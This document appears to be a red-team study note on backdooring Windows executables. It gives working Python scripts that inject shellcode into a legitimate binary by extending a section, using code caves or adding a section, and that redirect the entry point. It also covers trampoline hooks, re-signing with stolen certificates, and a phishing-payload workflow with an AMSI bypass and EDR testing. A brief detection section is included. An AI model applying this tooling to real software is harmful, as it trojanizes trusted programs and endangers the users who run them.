PE backdooring and code caves
TL;DR: Backdooring a PE file = inject shellcode into a benign executable so it runs your payload before/alongside legit behaviour. Methods: (1) extend the last section, (2) find a “code cave” — unused padding inside an existing section, (3) add a new section. Then hijack execution: patch the entry point or hook an existing function epilogue. Survives Authenticode if you re-sign with a stolen / impersonated certificate (mostly historical). OSEE-relevant for understanding both implant tradecraft and AV/EDR’s detection heuristics. Companion to custom-windows-shellcode-writing and pe-format.
Why backdoor a PE
- Phishing payload that looks like a legit installer.
- Implant that piggybacks on a regularly-run utility.
- Bypassing application allowlists by extending a binary already on the allowlist.
This is not about reverse-engineering — it’s about adding code while preserving original behaviour.
Method 1 — extend the last section
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import lief
pe = lief.PE.parse("legit.exe")
sect = pe.sections[-1] # last section
print(f"Last section: {sect.name}, vsize={sect.virtual_size}, rsize={sect.size}")
shellcode = open("payload.bin", "rb").read()
sect.content = list(sect.content) + list(shellcode)
sect.size = len(sect.content)
sect.virtual_size = len(sect.content)
sect.characteristics |= lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE.value
# Set entry point to start of shellcode
new_entry = sect.virtual_address + (sect.virtual_size - len(shellcode))
pe.optional_header.addressof_entrypoint = new_entry
pe.write("backdoored.exe")
Tradeoffs:
- Simple.
- File-size larger; defenders notice.
- May break some integrity checks (Authenticode signature broken; some apps detect).
Method 2 — code cave
PE sections are aligned to FileAlignment (commonly 0x200) and SectionAlignment (commonly 0x1000). The leftover bytes after the section’s last meaningful instruction are zero-filled — your “code cave”.
Find caves:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import lief
pe = lief.PE.parse("legit.exe")
for s in pe.sections:
content = bytes(s.content)
# find runs of \x00
i = 0
while i < len(content):
if content[i] == 0:
j = i
while j < len(content) and content[j] == 0: j += 1
if j - i > 100: # cave > 100 bytes
print(f"cave in {s.name} at +{i:x} size {j-i}")
i = j
else:
i += 1
For each cave: confirm the section is marked EXECUTE (.text usually is; .rdata is not).
Method 3 — add a new section
Append a fresh PE section header + data. More invasive, more detectable, but cleanest.
1
2
3
4
5
6
7
8
9
10
11
12
13
import lief
pe = lief.PE.parse("legit.exe")
new_sect = lief.PE.Section(".extra")
new_sect.content = list(shellcode)
new_sect.virtual_size = len(shellcode)
new_sect.size = (len(shellcode) + 0x1FF) & ~0x1FF
new_sect.characteristics = (
lief.PE.SECTION_CHARACTERISTICS.MEM_READ.value |
lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE.value |
lief.PE.SECTION_CHARACTERISTICS.CNT_CODE.value
)
pe.add_section(new_sect)
pe.write("backdoored.exe")
Execution hijack — entry point patch
Simplest hijack: change AddressOfEntryPoint to your shellcode. Original code never runs.
Better — preserve original behaviour: at the end of your shellcode, JMP back to the original entry point.
; your shellcode bytes ...
jmp 0x12345678 ; original AddressOfEntryPoint
Now the binary still runs as if normal — and fires your payload first.
Execution hijack — function epilogue hook
Find a frequently-called function in the binary; replace its prologue with a jump to your shellcode, which executes your payload then jmp to the original prologue.
1
2
3
4
5
original: 55 48 89 e5 push rbp; mov rbp, rsp; ...
patched: e9 NN NN NN NN ... jmp shellcode
shellcode: ...your code...
55 48 89 e5 ... (saved original bytes)
e9 ... jmp back to original + 5
Trampolines like this are how Detours-style hooking works internally.
Preserving Authenticode
Authenticode (PE signing) covers most of the file but excludes certain ranges (the certificate directory, the checksum). After modification:
- Signature is invalid.
- Many programs warn (“unverified publisher”).
- Application allowlists with signature requirements reject.
Re-signing:
- With a self-signed cert → still flagged as untrusted issuer.
- With a stolen/compromised cert → real concern; some implants do this. Cert revoked once detected.
- With an EV cert acquired under shell company → expensive, traceable.
Modern AV checks both signature AND behaviour; signature alone isn’t bypass.
Detection — what defenders see
- Signature broken / mismatched.
- New section with unusual name / characteristics.
- Entry point in a section atypical for entry (
.data). - Hash mismatch from known-good.
- Behavioural — beacon / process spawn.
Defenders look for these in:
- AV static signatures.
- EDR static analysis on file write.
- Microsoft Defender attack surface reduction rules.
Workflow for a phishing payload
- Pick a legit-looking carrier (a small utility installer).
- Find a code cave or extend.
- Inject AMSI-bypass + stager (small).
- JMP back to original.
- Re-sign with whatever cert is available (or accept unsigned warning if engagement allows).
- Test against target’s specific AV / EDR vendor.
Tools
- lief (Python) — PE manipulation library. Modern, fast.
- pefile — older Python; still useful.
- CFF Explorer — GUI for inspection.
- shellter — automated backdoor injector. Quality varies.
- Donut — generates loader shellcode for .NET assemblies + binaries.
- APIMonitor / PE-bear — inspect imports.
OSEE relevance
OSEE focuses on exploit dev more than implant dev, but understanding PE structures + code injection is foundational for:
- Browser exploit final stage (loading attacker code into the browser process).
- DLL hijacking + side-loading payloads.
- AV evasion at exploit stage.
For pure red-team malware-dev path: Sektor7 / MalDev Academy go deeper.